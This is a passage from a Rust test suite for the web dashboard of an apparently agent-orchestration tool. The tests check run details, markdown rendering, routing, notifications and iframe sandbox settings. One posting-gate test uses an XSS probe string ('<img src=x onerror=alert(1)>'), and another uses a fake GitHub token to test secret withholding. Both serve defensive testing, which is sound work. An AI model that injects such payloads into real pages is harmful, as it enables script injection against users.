17486        assert!(
17487            html.headers
17488                .contains("content-type: text/html; charset=utf-8")
17489        );
17490        assert!(css.headers.contains("content-type: text/css"));
17491        assert!(js.headers.contains("content-type: text/javascript"));
17492        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
17493    }
17494
17495    #[test]
17496    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
17497        let body = |name: &str| {
17498            let at = APP_JS
17499                .find(name)
17500                .unwrap_or_else(|| panic!("{name} missing"));
17501            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
17502        };
17503        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
17504        let note = body("function landRoundNote");
17505        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
17506        assert!(note.contains("Land round ${round}"));
17507        let land = body("function renderLand");
17508        let note_at = land
17509            .find("landRoundNote(pr)")
17510            .expect("renderLand uses the note");
17511        assert!(
17512            note_at
17513                < land
17514                    .find("roundRail(pr)")
17515                    .expect("renderLand uses the rail")
17516        );
17517    }
17518
17519    #[test]
17520    fn the_runs_page_redesign_keeps_its_guards() {
17521        let body = |name: &str| {
17522            let at = APP_JS
17523                .find(name)
17524                .unwrap_or_else(|| panic!("{name} missing"));
17525            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
17526        };
17527        // A null child must never reach the native append (it prints "null").
17528        let land = body("function renderLand");
17529        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
17530        assert!(
17531            !land.contains("box.append("),
17532            "renderLand must use append()"
17533        );
17534        assert!(land.contains("append(box, ["));
17535        // Tabs are hash routes; the run id alone decides a reload.
17536        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
17537        assert!(
17538            body("function applyRoute")
17539                .contains("route.name !== state.route.name || route.id !== state.route.id")
17540        );
17541        // The decorative diagram is gone, the strip and its guards stay.
17542        assert!(!APP_JS.contains("adviseConvergeDiagram"));
17543        assert!(!INDEX_HTML.contains("advise-converge"));
17544        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
17545        assert!(APP_JS.contains("provisional"));
17546        for id in [
17547            "run-tab-overview",
17548            "run-tab-timeline",
17549            "run-tab-report",
17550            "run-report",
17551            "runs-scope",
17552        ] {
17553            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
17554        }
17555        assert!(!INDEX_HTML.contains("runs-tree"));
17556        assert!(!INDEX_HTML.contains("run-raw-panel"));
17557        // Fold still says it cannot be resumed.
17558        assert!(APP_JS.contains("resume"));
17559        // The unreadable-runs count stays on the page.
17560        assert!(APP_JS.contains("unreadable"));
17561    }
17562
17563    #[test]
17564    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
17565        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
17566        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
17567        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
17568        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
17569        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
17570        // The subtitle still counts them whatever the banner does.
17571        assert!(APP_JS.contains("unreadable` : null"));
17572    }
17573
17574    #[test]
17575    fn blocked_run_detail_exposes_the_failed_gate_reason() {
17576        let mut state = RunState::new(
17577            "/repo".into(),
17578            "main".into(),
17579            "abc".into(),
17580            "task".into(),
17581            crate::config::Config::default(),
17582        );
17583        state.status = RunStatus::Blocked;
17584        state.gate_ran = true;
17585        state.gate.push(crate::run::CommandOutcome {
17586            command: "cargo make check".into(),
17587            code: Some(1),
17588            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
17589            duration_ms: 0,
17590            resource_blocked: false,
17591        });
17592        let view = RunDetailView::of(
17593            state,
17594            false,
17595            crate::run::Liveness::Unknown,
17596            None,
17597            None,
17598            None,
17599        );
17600        let value = serde_json::to_value(view).unwrap();
17601        assert_eq!(
17602            value["stop_reason"],
17603            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
17604        );
17605    }
17606
17607    #[test]
17608    fn the_run_detail_payload_says_whether_the_run_is_done() {
17609        // `landView` reads `run.done`; the detail response must carry it.
17610        for (status, done) in [
17611            (RunStatus::Superseded, true),
17612            (RunStatus::Blocked, true),
17613            (RunStatus::Landing, false),
17614        ] {
17615            let mut state = RunState::new(
17616                std::path::PathBuf::from("/repo"),
17617                "main".to_owned(),
17618                "abc".to_owned(),
17619                "x".to_owned(),
17620                crate::config::Config::default(),
17621            );
17622            state.status = status;
17623            let v = serde_json::to_value(RunDetailView::of(
17624                state,
17625                false,
17626                crate::run::Liveness::Unknown,
17627                None,
17628                None,
17629                None,
17630            ))
17631            .unwrap();
17632            assert_eq!(v["done"], done, "{status:?}");
17633        }
17634    }
17635
17636    /// The first node of a markdown block holds a `strong` somewhere.
17637    fn has_strong(nodes: &[md::Node]) -> bool {
17638        serde_json::to_string(nodes).unwrap().contains("strong")
17639    }
17640
17641    #[test]
17642    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
17643        let mut state = RunState::new(
17644            std::path::PathBuf::from("/repo"),
17645            "main".to_owned(),
17646            "abc".to_owned(),
17647            "x".to_owned(),
17648            crate::config::Config::default(),
17649        );
17650        let proposal = |approach: &str| {
17651            serde_json::json!({
17652                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
17653            })
17654        };
17655        state.advice = Some(
17656            serde_json::from_value(serde_json::json!({
17657                "records": [
17658                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
17659                     "proposal": proposal("do **this**")},
17660                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
17661                ],
17662                "synthesis": "- one\n- **two**\n\n`code`",
17663            }))
17664            .unwrap(),
17665        );
17666        state.candidates = serde_json::from_value(serde_json::json!([
17667            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
17668             "summary": "did **it**"},
17669            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
17670        ]))
17671        .unwrap();
17672        // Recorded in ascending severity, the reverse of how the page sorts
17673        // them: the arrays must follow the record, not the display.
17674        state.reviews = serde_json::from_value(serde_json::json!([{
17675            "round": 1, "head": "h",
17676            "reviews": [{
17677                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
17678                "findings": [
17679                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
17680                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
17681                ],
17682            }],
17683            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
17684            "fix": {"agent": "a", "notes": "fixed **it**",
17685                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
17686        }, {"round": 2, "head": "h2", "reviews": []}]))
17687        .unwrap();
17688
17689        let v = serde_json::to_value(RunDetailView::of(
17690            state,
17691            false,
17692            crate::run::Liveness::Unknown,
17693            None,
17694            None,
17695            None,
17696        ))
17697        .unwrap();
17698
17699        let strong = |p: &str| {
17700            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
17701            assert!(n.to_string().contains("strong"), "{p}: {n}");
17702        };
17703        strong("/advice_md/synthesis");
17704        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
17705        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
17706        strong("/advice_md/approaches/0");
17707        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
17708        strong("/candidate_summaries_md/0");
17709        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
17710        strong("/reviews_md/0/reviewers/0/summary");
17711        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
17712        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
17713        assert!(f[1].to_string().contains("strong"));
17714        strong("/reviews_md/0/reconsideration/0");
17715        strong("/reviews_md/0/fix/notes");
17716        strong("/reviews_md/0/fix/rejected/0");
17717        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
17718        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
17719        // The raw strings stay, and no schema moved.
17720        assert_eq!(v["candidates"][0]["summary"], "did **it**");
17721        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
17722    }
17723
17724    #[test]
17725    fn a_run_without_advice_has_no_advice_md() {
17726        let state = RunState::new(
17727            std::path::PathBuf::from("/repo"),
17728            "main".to_owned(),
17729            "abc".to_owned(),
17730            "x".to_owned(),
17731            crate::config::Config::default(),
17732        );
17733        let p = run_prose_md(&state);
17734        assert!(p.advice_md.is_none());
17735        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
17736    }
17737
17738    #[test]
17739    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
17740        let store = ask::Questions::at(PathBuf::from("unused"));
17741        let gt = crate::github_text::Withheld {
17742            title: false,
17743            body: true,
17744            categories: vec!["sensitive-data".into()],
17745        };
17746        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
17747        let (detail, comparison) =
17748            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
17749        let mut q = Question::new(
17750            "r".into(),
17751            "github-text".into(),
17752            "posting-gate".into(),
17753            "s".into(),
17754            detail,
17755            Vec::new(),
17756        );
17757        assert!(
17758            QuestionView::of(q.clone(), &store, None)
17759                .posting_view
17760                .is_none()
17761        );
17762        q.posting_comparison = Some(comparison);
17763        let view = QuestionView::of(q.clone(), &store, None);
17764        let field = &view.posting_view.unwrap().fields[0];
17765        assert_eq!(
17766            field
17767                .original
17768                .iter()
17769                .map(|f| f.text.as_str())
17770                .collect::<String>(),
17771            body
17772        );
17773        assert!(field.original[0].text.starts_with("<img"));
17774        let original_question: Question =
17775            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
17776        assert_eq!(original_question, q);
17777        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
17778            .original
17779            .start = 1;
17780        assert!(
17781            QuestionView::of(q.clone(), &store, None)
17782                .posting_view
17783                .is_none()
17784        );
17785        q.posting_comparison = original_question.posting_comparison;
17786        q.detail.push_str("extra context");
17787        assert!(
17788            QuestionView::of(q.clone(), &store, None)
17789                .posting_view
17790                .is_some()
17791        );
17792        q.detail.insert(0, 'x');
17793        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
17794    }
17795
17796    #[test]
17797    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
17798        let store = ask::Questions::at(PathBuf::from("unused"));
17799        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
17800        let gt = crate::github_text::Withheld::from_check(
17801            &crate::github_text::check("fix: x", body),
17802            "fix: x",
17803            body,
17804        )
17805        .unwrap();
17806        let (detail, comparison) =
17807            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
17808        let mut q = Question::new(
17809            "r".into(),
17810            "github-text".into(),
17811            "posting-gate".into(),
17812            "s".into(),
17813            detail,
17814            Vec::new(),
17815        );
17816        q.posting_comparison = Some(comparison);
17817        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
17818        let field = &value["posting_view"]["fields"][0];
17819        let group = &field["replacement_group"];
17820        let triggers = group["triggers"].as_array().unwrap();
17821        assert_eq!(triggers.len(), 2);
17822        assert_ne!(triggers[0], triggers[1]);
17823        for id in triggers {
17824            assert!(
17825                field["original"]
17826                    .as_array()
17827                    .unwrap()
17828                    .iter()
17829                    .any(|f| &f["pair"] == id)
17830            );
17831            assert!(
17832                !field["changed"]
17833                    .as_array()
17834                    .unwrap()
17835                    .iter()
17836                    .any(|f| &f["pair"] == id)
17837            );
17838        }
17839        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
17840            group["id"].as_u64().unwrap() as usize;
17841        assert!(
17842            QuestionView::of(q, &store, None).posting_view.is_none(),
17843            "group and trigger IDs cannot collide"
17844        );
17845    }
17846
17847    #[test]
17848    fn a_question_view_carries_markdown_for_each_thread_turn() {
17849        let home = TempDir::new().unwrap();
17850        let store = ask::Questions::at(home.path().join("questions"));
17851        let mut q = Question::new(
17852            "run".to_owned(),
17853            "implement".to_owned(),
17854            "impl-A".to_owned(),
17855            "which?".to_owned(),
17856            String::new(),
17857            Vec::new(),
17858        );
17859        q.say("plain words").unwrap();
17860        q.reply("use **this**", Vec::new()).unwrap();
17861        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
17862        let bodies = &v["thread_bodies_md"];
17863        assert_eq!(bodies.as_array().unwrap().len(), 2);
17864        assert!(!bodies[0].to_string().contains("strong"));
17865        assert!(bodies[1].to_string().contains("strong"));
17866    }
17867
17868    #[test]
17869    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
17870        let home = TempDir::new().unwrap();
17871        let store = ask::Questions::at(home.path().join("questions"));
17872        let mut q = Question::new(
17873            "run".to_owned(),
17874            "conduct".to_owned(),
17875            "conduct".to_owned(),
17876            "which?".to_owned(),
17877            String::new(),
17878            Vec::new(),
17879        );
17880        q.say("plain words").unwrap();
17881        q.thread.push(ask::Turn {
17882            who: ask::Who::Agent,
17883            body: "Settled as `merge`".to_owned(),
17884            at: jiff::Timestamp::now(),
17885            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
17886        });
17887        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
17888        let notes = &v["thread_notes_md"];
17889        assert_eq!(notes.as_array().unwrap().len(), 2);
17890        assert!(notes[0].is_null());
17891        let text = notes[1].to_string();
17892        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
17893        assert!(APP_JS.contains("ask-turn-note"));
17894    }
17895
17896    #[test]
17897    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
17898        // The land panel defers to `run.status` for merged, and labels a
17899        // recorded-open PR on any finished run (superseded, blocked, ...) as
17900        // last seen, never as live state.
17901        assert!(APP_JS.contains("function landView(run, raw) {"));
17902        assert!(
17903            APP_JS.contains(
17904                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
17905            )
17906        );
17907        assert!(APP_JS.contains("const pr = landView(run, raw);"));
17908        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
17909        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
17910        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
17911    }
17912
17913    #[test]
17914    fn live_runs_are_never_hidden_or_folded_as_superseded() {
17915        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
17916        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
17917        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
17918        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
17919    }
17920
17921    #[test]
17922    fn review_rounds_label_a_distinct_verified_head() {
17923        assert!(APP_JS.contains("round.verified_head"));
17924        assert!(APP_JS.contains("verified HEAD"));
17925        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
17926    }
17927
17928    #[test]
17929    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
17930        // A blocked task's chip and note must not fall back to a queued-like
17931        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
17932        // itself by e11fc58 but never checked here.
17933        assert!(APP_JS.contains("blocked: { glyph:"));
17934        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
17935
17936        // `blocked_by` mixes task ids and question ids in the same list, and
17937        // the client can only tell them apart by checking each id against
17938        // what it actually knows - never by guessing from the id's shape.
17939        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
17940        assert!(
17941            APP_JS.contains(
17942                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
17943            ),
17944            "the note line must name what a blocked task is waiting on, not just that it is blocked"
17945        );
17946        // The classification must key off `status_str`, never off `blocked_by`
17947        // or `block_reason` merely being present - both can survive briefly
17948        // on a task a hold or a dead daemon just moved off `blocked`.
17949        assert!(APP_JS.contains("if (status === \"blocked\") {"));
17950
17951        // A question a task is blocked on gets its own node in the same
17952        // dependency graph, not just a task-shaped node with nothing known
17953        // about it.
17954        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
17955        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
17956        assert!(
17957            APP_JS.contains("location.hash = \"#/questions\";"),
17958            "a question node must jump to the Questions screen, not pretend to be a task"
17959        );
17960
17961        // `Task::answers` - decisions already made - are shown as a record on
17962        // the card, the same disclosure style as the full instruction.
17963        assert!(APP_JS.contains("Resolved questions"));
17964        assert!(APP_JS.contains("r.answersList.append("));
17965        assert!(APP_CSS.contains(".task-answers"));
17966        {
17967            let start = APP_JS
17968                .find("function updateTalkTaskRow")
17969                .expect("updateTalkTaskRow");
17970            let body = &APP_JS[start..];
17971            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
17972            assert!(
17973                body.contains(
17974                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
17975                ),
17976                "a chat-filed task row must link to the task page"
17977            );
17978            assert!(
17979                !body.contains("#/runs/") && !body.contains("#/queue/"),
17980                "the row must not branch to a run or the queue card"
17981            );
17982            assert!(APP_CSS.contains(".talk-task-link"));
17983        }
17984    }
17985
17986    #[test]
17987    fn a_task_notification_links_to_the_task_page() {
17988        // A task notice opens the task detail page, not the Backlog card.
17989        let start = APP_JS
17990            .find("function noticeLink(")
17991            .expect("noticeLink exists");
17992        let body = &APP_JS[start..];
17993        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
17994        assert!(
17995            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
17996            "a task notice's link must target the task page"
17997        );
17998        assert!(
17999            !body.contains("#/queue/"),
18000            "regression: the task link must not go back to the Backlog route"
18001        );
18002        assert!(
18003            APP_JS.contains(
18004                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
18005            ),
18006            "`#/tasks/<id>` must parse into the task route"
18007        );
18008
18009        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
18010        assert!(
18011            APP_JS.contains(
18012                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
18013            ),
18014            "`#/queue/<id>` must parse into a route carrying that id"
18015        );
18016
18017        // And the Backlog view has to actually land on the card once it can
18018        // - see consumeQueueFocus(), which renderQueue() calls on every pass
18019        // so a focus set before the queue has loaded is retried once it has.
18020        assert!(APP_JS.contains("state.queueFocus = route.id;"));
18021        assert!(APP_JS.contains("function consumeQueueFocus()"));
18022        assert!(APP_JS.contains("jumpToTask(id)"));
18023    }
18024
18025    #[test]
18026    fn notifications_distinguish_actionable_questions_from_informational_notices() {
18027        let start = APP_JS
18028            .find("function noticeCoveredBy(")
18029            .expect("noticeCoveredBy exists");
18030        let body = &APP_JS[start..];
18031        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
18032
18033        // An open question provides an actionable link to the questions route
18034        assert!(body.contains("q.status === \"open\""));
18035        assert!(body.contains("href: \"#/questions\""));
18036        assert!(body.contains("Answer in question"));
18037
18038        // A resolved question displays status rather than an actionable link
18039        assert!(body.contains("(resolved)"));
18040        assert!(body.contains("(closed)"));
18041    }
18042
18043    /// Chat rows are two lines at every width: the title alone, then the
18044    /// shrinkable secondary info.
18045    #[test]
18046    fn chat_rows_put_the_title_alone_on_the_first_line() {
18047        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
18048        assert!(APP_CSS.contains(
18049            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
18050        ));
18051        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
18052        assert!(APP_JS.contains("class: \"badge talk-unread\""));
18053    }
18054
18055    #[test]
18056    fn run_rows_put_the_title_alone_on_the_first_line() {
18057        assert!(
18058            APP_CSS.contains(
18059                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
18060            )
18061        );
18062        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
18063        assert!(APP_JS.contains("class: \"card run-card\""));
18064        assert!(APP_JS.contains("class: \"repo run-id\""));
18065    }
18066
18067    /// Wide screens get a master/detail layout built from the views a phone
18068    /// drills into. These are string assertions: they pin the contract between
18069    /// the three assets, not how it looks.
18070    #[test]
18071    fn wide_screens_show_list_and_preview_side_by_side() {
18072        // One breakpoint, spelled the same in the script and the stylesheet.
18073        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
18074        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
18075        assert!(APP_CSS.contains("main[data-split]"));
18076        assert!(APP_CSS.contains("body[data-split]"));
18077
18078        // The route -> panes table, and a narrow screen opting out of it.
18079        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
18080        assert!(
18081            APP_JS.contains(
18082                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
18083            )
18084        );
18085        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
18086        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
18087        assert!(INDEX_HTML.contains("id=\"split-empty\""));
18088
18089        // Selection is derived from the route, and only ever paints a row.
18090        assert!(APP_JS.contains("function markSelected() {"));
18091        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
18092        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
18093        // The dense row must override the stacked card the 720px block sets up.
18094        assert!(
18095            APP_CSS.contains(
18096                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
18097            )
18098        );
18099
18100        // Independent scrolling: the page stops scrolling, each pane does.
18101        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
18102        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
18103        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
18104        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
18105
18106        // A refresh must never navigate: the loaders still check that their
18107        // subject is the one on screen, and crossing the breakpoint only
18108        // re-reads the hash.
18109        assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
18110        assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
18111        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
18112        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
18113
18114        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
18115        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
18116    }
18117
18118    #[test]
18119    fn panel_sandbox_carries_exactly_popups() {
18120        let needle = "sandbox: \"";
18121        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
18122        assert_eq!(
18123            matches.len(),
18124            1,
18125            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
18126        );
18127        let start = matches[0].0 + needle.len();
18128        let end = APP_JS[start..]
18129            .find('"')
18130            .expect("sandbox attribute value must be terminated by a closing quote");
18131        let val = &APP_JS[start..start + end];
18132        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
18133        let expected: std::collections::BTreeSet<&str> =
18134            ["allow-popups", "allow-popups-to-escape-sandbox"]
18135                .into_iter()
18136                .collect();
18137        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
18138        assert!(
18139            !tokens.contains("allow-scripts"),
18140            "allow-scripts must never be present in sandbox"
18141        );
18142        assert!(
18143            !tokens.contains("allow-same-origin"),
18144            "allow-same-origin must never be present in sandbox"
18145        );
18146    }
18147
18148    #[test]
18149    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
18150        // consumeQueueFocus() clears an active Backlog search before it can
18151        // scroll to the target card (the sections list is hidden while a
18152        // search is showing), by recursing back into renderQueue(). The
18153        // fixer's first cut nulled state.queueFocus before that recursive
18154        // call, so the second pass saw nothing to jump to and the jump was
18155        // silently dropped whenever a notification's link was opened with a
18156        // stale search still active. state.queueFocus must only be cleared
18157        // right before jumpToTask() actually runs.
18158        assert!(
18159            APP_JS.contains(
18160                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
18161            ),
18162            "the search-clearing branch must run before state.queueFocus is cleared, or the \
18163             recursive renderQueue() call has nothing left to jump to"
18164        );
18165        assert!(
18166            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
18167            "state.queueFocus must be cleared only once the jump has landed, so a card that \
18168             arrives later still gets it"
18169        );
18170        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
18171        assert!(APP_JS.contains("is not in the current Backlog."));
18172        assert!(APP_JS.contains("li.card[data-task-id=\""));
18173        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
18174        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
18175        assert!(APP_CSS.contains(".card-permalink"));
18176        assert!(APP_CSS.contains(".queue-focus-status"));
18177        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
18178    }
18179
18180    #[test]
18181    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
18182        // The task's own repro: only the link text inside .notice-meta was
18183        // clickable, so a tap on the message, the timestamp, or the card's
18184        // padding did nothing - on a phone that reads as "the card doesn't
18185        // work" even though the tiny link inside it did. Mark read / Dismiss
18186        // must keep working independently of this: `.closest("a, button")`
18187        // is what lets a tap that actually lands on those elements fall
18188        // through instead of being hijacked into a navigation.
18189        assert!(
18190            APP_JS.contains(
18191                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
18192            ),
18193            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
18194        );
18195    }
18196
18197    #[test]
18198    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
18199        assert!(
18200            APP_JS.contains("round.verified_head !== round.head"),
18201            "a round that verified an earlier commit must be visibly distinct from one that \
18202             verified the head reviewers are looking at now"
18203        );
18204        assert!(
18205            APP_JS.contains("round.verified_at"),
18206            "when a check ran must be on the wire, not just which commit"
18207        );
18208        assert!(
18209            APP_JS.contains("resource_blocked"),
18210            "a command magi never got to run (shared build cache contention) must not render \
18211             the same as a command that ran and failed"
18212        );
18213    }
18214
18215    #[test]
18216    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
18217        // Every KPI tile but Total runs and Completion names an exact
18218        // RunStatus and hands it to openRunsFiltered(), which is what wires
18219        // the click into state.runsFilter.status (matchesFilter's own
18220        // status check) rather than the coarser runsStateFilter chips. Each
18221        // status literal here must be one of the strings runSection() (and
18222        // isStale()) actually compare a run's own `status` field against -
18223        // a status this dashboard invented would filter to nothing.
18224        assert!(
18225            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
18226            "every KPI tile built through statusTile() must route its click through \
18227             openRunsFiltered, the single place that sets the Runs filter"
18228        );
18229        for (label, status) in [
18230            ("Merged", "merged"),
18231            ("Ready", "ready"),
18232            ("Blocked", "blocked"),
18233            ("Stalled", "stalled"),
18234        ] {
18235            let call = format!("statusTile(\"{label}\", t.{status}, ");
18236            assert!(
18237                APP_JS.contains(&call),
18238                "expected the {label} KPI tile built via {call}..."
18239            );
18240            assert!(
18241                APP_JS.contains(&format!("status === \"{status}\"")),
18242                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
18243                 compare a run against, not one invented only for the stats tile"
18244            );
18245        }
18246        assert!(
18247            APP_JS.contains("function openRunsFiltered(status)"),
18248            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
18249        );
18250        assert!(
18251            APP_JS.contains(
18252                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
18253            ),
18254            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
18255        );
18256        // applyRoute() only flips which view is visible for a plain `#runs`
18257        // hash - it does not itself redraw the list (see applyRoute's own
18258        // handling below) - so openRunsFiltered must call renderRuns()
18259        // itself, and must call applyRoute() too so the view flips even
18260        // when the hash string doesn't change (the operator may already be
18261        // on the Runs view when a tile is tapped, which fires no
18262        // hashchange event at all).
18263        assert!(
18264            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
18265            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
18266             hashchange event that may never fire"
18267        );
18268    }
18269
18270    #[test]
18271    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
18272        // A stats tile can leave state.runsFilter.status set to something
18273        // done-by-construction (e.g. "merged") - picking "Active" afterward
18274        // must drop it the same way an incompatible tree section is already
18275        // dropped, or the Runs list renders permanently empty with no way
18276        // for the operator to tell why.
18277        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
18278        assert!(
18279            APP_JS.contains(
18280                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
18281            ),
18282            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
18283             guard for an incompatible tree section"
18284        );
18285    }
18286
18287    #[test]
18288    fn every_stats_queue_tile_names_a_real_queue_section() {
18289        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
18290        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
18291        // (consumeQueueSectionFocus finds no matching <details> and drops
